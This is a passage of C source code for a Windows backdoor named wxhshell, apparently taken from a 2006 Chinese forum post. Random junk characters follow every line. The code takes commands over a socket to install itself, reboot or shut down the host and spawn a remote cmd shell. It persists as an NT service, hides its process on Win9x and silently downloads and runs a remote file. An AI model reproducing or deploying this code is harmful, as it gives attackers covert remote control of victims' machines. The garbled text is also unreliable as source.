      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xOKLc!J  
    break; ]U4)2s  
  } x6h';W_ 8  
  // 安装 <l#|I'hP  
  case 'i': { Lo<-;;vQ  
    if(Install()) vZ&{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZmXO3,sf)  
    else *6C ]CS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E4C yW  
    break; 4lVvs(W?  
    } \sSt _|+  
  // 卸载 y}\d]*5  
  case 'r': { ApT8;F B  
    if(Uninstall()) h?8I`Z)h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0o}rA  
    else %z9lCTmy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z_;:6*l=:  
    break; `rWT^E@p5m  
    } 5.IX  
  // 显示 wxhshell 所在路径 > TKl`O  
  case 'p': { tz6N,4J?  
    char svExeFile[MAX_PATH]; tPQjjoh  
    strcpy(svExeFile,"\n\r"); I`% ]1{  
      strcat(svExeFile,ExeFile); B'AU~#d  
        send(wsh,svExeFile,strlen(svExeFile),0); XABB6J]  
    break; goMv8d  
    } 0=:]tSD\F  
  // 重启 spX*e1  
  case 'b': { .kl.awT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _l,_NV&T  
    if(Boot(REBOOT)) dcn/|"jr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /QgU!:e  
    else { 1M={8}3  
    closesocket(wsh); ],W/IDv  
    ExitThread(0); 0 %W0vTvL  
    } s7789pR  
    break; *XCgl*% *  
    } WDF;`o*3  
  // 关机 8kRqF?rbj  
  case 'd': { {:%A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #Wf9`  
    if(Boot(SHUTDOWN)) j%q,]HCANh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?=},%^  
    else { ii)DOq#2  
    closesocket(wsh); [( O*W  
    ExitThread(0); r@30y/C  
    } a,/wqX  
    break; 'gaa@ !bg  
    } 3}F{a8iIm  
  // 获取shell C/JFb zVx  
  case 's': { ^e~m`R2fHh  
    CmdShell(wsh); F7"v}K]X  
    closesocket(wsh); 9kO}054  
    ExitThread(0); vl"{ovoC  
    break; 9w:F_gr  
  } ]lgI Q;r  
  // 退出 W3gBLotdg  
  case 'x': { l&2pUv=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s?9$o Qq1  
    CloseIt(wsh); \* /R6svz  
    break; g'pB<?'E'  
    } S9;:)  
  // 离开 9aa cW  
  case 'q': { 6?(Z f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (+x!wX( x  
    closesocket(wsh); (p1}i::Y8  
    WSACleanup(); b\.l!vn0  
    exit(1); Vz\?a8qQ<  
    break; +\ZaVi  
        } P.t0o~hoK;  
  } o-ee3j.  
  } hgU#2`fS  
!xRboPg  
  // 提示信息 U#mrbW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &2Q0ii#Aa  
} Y@#rGV>  
  } >39\u &)  
JA]qAr  
  return; wRCv?D`vV  
} AnW72|=A(  
u 6"v}gN  
// shell模块句柄 kKHGcm^r  
int CmdShell(SOCKET sock) 'VQ mK#  
{ 0{k*SCN#  
STARTUPINFO si; qJZ:\u8oO  
ZeroMemory(&si,sizeof(si)); bkSI1m3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W*!u_]K>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >>I~v)a>w  
PROCESS_INFORMATION ProcessInfo; \)/dFo\l  
char cmdline[]="cmd"; BK[ YX)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9C"d7--  
  return 0; ';J><z{>  
} IV]2#;OO?  
%I^y@2A4`  
// 自身启动模式 0,M1Q~u%.  
int StartFromService(void) uupfL>h  
{ wQR0R~|M  
typedef struct #*v:.0%  
{ [7+dZL[  
  DWORD ExitStatus; ,^m;[Dl7  
  DWORD PebBaseAddress; \1H~u,a  
  DWORD AffinityMask; Eq82?+9  
  DWORD BasePriority; B.ar!*X  
  ULONG UniqueProcessId; "l7))>lL  
  ULONG InheritedFromUniqueProcessId; dp=#|!jc  
}   PROCESS_BASIC_INFORMATION; G@+AB*Eu  
Lk8NjK6  
PROCNTQSIP NtQueryInformationProcess; YYi:d=0<SO  
O @)D%*;v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e< E]8GAF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t$k$ Hd';  
v0 uA]6:  
  HANDLE             hProcess; z'r B_l  
  PROCESS_BASIC_INFORMATION pbi; +H `FC  
E==vk~cz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  +}-Ecr  
  if(NULL == hInst ) return 0; ,2/y(JX}*!  
%7n(>em  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); slRD /  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #$*l#j"#A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j%TcW!D-_  
QBwgI>zfS"  
  if (!NtQueryInformationProcess) return 0; Ip&Q'"HYj  
lr-:o@q{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /2jw]ekQ'  
  if(!hProcess) return 0; meM61ue_2  
KU5|~1t 4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mvV5X al  
|.;LI= CT  
  CloseHandle(hProcess); \4FKZ>1+R  
W4V !7_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  1(*Pa  
if(hProcess==NULL) return 0; lRr={ >s  
YLAGTH0.]  
HMODULE hMod; r!WXD9#  
char procName[255]; etD8S KD  
unsigned long cbNeeded; `a:L%Ex  
dxwH C\"5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jxdxIkAHZc  
7O^'?L<C'  
  CloseHandle(hProcess); nApkK1?  
S mjg[  
if(strstr(procName,"services")) return 1; // 以服务启动  %J?"ZSh  
rZSX fgfr  
  return 0; // 注册表启动 -)dS`hM  
} Lr;PESV  
lMW4SRk1C  
// 主模块 25-5X3(>j=  
int StartWxhshell(LPSTR lpCmdLine) |v?*}6:a  
{ pQ/ bIuq  
  SOCKET wsl; #nS[]UbwZ  
BOOL val=TRUE; _5l3e7YN  
  int port=0; xZpGSlA  
  struct sockaddr_in door; %^VQw!  
{ kF"<W  
  if(wscfg.ws_autoins) Install(); szG0?e  
*LZ^0c:r  
port=atoi(lpCmdLine); Eg;xj@S<2  
n>["h2  
if(port<=0) port=wscfg.ws_port; =3= $F%  
;xMieqz  
  WSADATA data; SWZA`JVK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @2eV^eO9  
{;[W'Lc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yccF#zU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DTi\ 4&41  
  door.sin_family = AF_INET; e|&}{JP{[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YnLwBJ2i  
  door.sin_port = htons(port); Gi*GFv%xB  
3.vQ~Fvl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !/|^ )d^U  
closesocket(wsl);  SK&?s`  
return 1; KWzJ  
} Z.v2 !u  
D3i`ehh  
  if(listen(wsl,2) == INVALID_SOCKET) { ZZJXd+Q}  
closesocket(wsl); xM6v0Ua  
return 1; tUR9ti  
} {6uhUb  
  Wxhshell(wsl); -'jPue2\  
  WSACleanup(); |Vq&IfP  
3$hbb6N%6.  
return 0; k=o>DaEh(  
""2g{!~r  
} fL7u419=  
}G50?"^u  
// 以NT服务方式启动 (K>=!&tlp=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .xIu  
{ vs|_l!n3  
DWORD   status = 0; N)rf /E0  
  DWORD   specificError = 0xfffffff; IC:wof "  
$*Z Zh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mhXSbo9w-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ygz6 ~(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q#$#VT!F  
  serviceStatus.dwWin32ExitCode     = 0; n$S`NNO{]  
  serviceStatus.dwServiceSpecificExitCode = 0; *gxo! F}  
  serviceStatus.dwCheckPoint       = 0; pPX~pPIj2  
  serviceStatus.dwWaitHint       = 0; = e>#oPH  
XA%a7Xtni  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iH#b"h{w  
  if (hServiceStatusHandle==0) return; z%pD3J?>  
9^5D28y  
status = GetLastError(); aTx*6;-PH  
  if (status!=NO_ERROR) 3>I   
{ _\y%u_W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :y!%GJW  
    serviceStatus.dwCheckPoint       = 0; _P]!J~$5  
    serviceStatus.dwWaitHint       = 0; ZJ7<!?6  
    serviceStatus.dwWin32ExitCode     = status; xQetAYP`  
    serviceStatus.dwServiceSpecificExitCode = specificError; 49("$!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xWa96U[  
    return; Qn*a#]p  
  } },=0]tvZG#  
`Rc7*2I)l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d*A(L5;@  
  serviceStatus.dwCheckPoint       = 0; =b* Is,R/  
  serviceStatus.dwWaitHint       = 0; .M$}.v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @^)aUOe  
} xa?#wY b  
.PhH|jrCW^  
// 处理NT服务事件,比如:启动、停止 -#nfO*H}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ERE1XOe=D  
{ [v!TQwMU  
switch(fdwControl) / W,K% s]  
{ i(k]}Di:  
case SERVICE_CONTROL_STOP: 8sV_@<l<X  
  serviceStatus.dwWin32ExitCode = 0; aeBA`ry"B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  / hl:p  
  serviceStatus.dwCheckPoint   = 0; $j\UD8Hj'-  
  serviceStatus.dwWaitHint     = 0; ~GWn>  
  { h6Vm;{ ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jr9/  
  } y+P iH  
  return; -a}d @&  
case SERVICE_CONTROL_PAUSE: dK45&JHoW^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HcrI3v|6  
  break; 8] BOq:  
case SERVICE_CONTROL_CONTINUE: 71h?t`N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N{(Q,+ ~  
  break; rU {E}  
case SERVICE_CONTROL_INTERROGATE: CX8tTbuFl  
  break; ~ }<!ON;  
}; ^.d97rSm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l-N4RCt h  
} 5$T>noD  
r.V< 5xV  
// 标准应用程序主函数 $:bU<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SgOn:xg;3L  
{ Z !qHL$  
i'Oh^Y)E#  
// 获取操作系统版本 :.+?v*%;n  
OsIsNt=GetOsVer(); E!eBQ[@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'kD~tpZ  
#jja#PF]7  
  // 从命令行安装 ;'B\l@U\  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~$zodrS9  
Uv-xP(X  
  // 下载执行文件 osJ;"B36  
if(wscfg.ws_downexe) { UO& p2   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JERWz~n}  
  WinExec(wscfg.ws_filenam,SW_HIDE); oM@X)6P_  
} _l`s}yC  
W|PKcZ ]Uc  
if(!OsIsNt) { WaV P+Ap  
// 如果时win9x,隐藏进程并且设置为注册表启动 0wzq{~\{=_  
HideProc(); S'I{'jP5  
StartWxhshell(lpCmdLine); +N9(o+UrU  
} f8Xe%"<  
else s57-<&@J9  
  if(StartFromService()) @CSTp6{y  
  // 以服务方式启动 #NAlje(7  
  StartServiceCtrlDispatcher(DispatchTable); GYD`  
else N|,6<|  
  // 普通方式启动 0$n0f u  
  StartWxhshell(lpCmdLine); B@,L83  
E! i:h62  
return 0; !zw)! rV=  
}
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只看该作者 1 发表于: 2006-10-10
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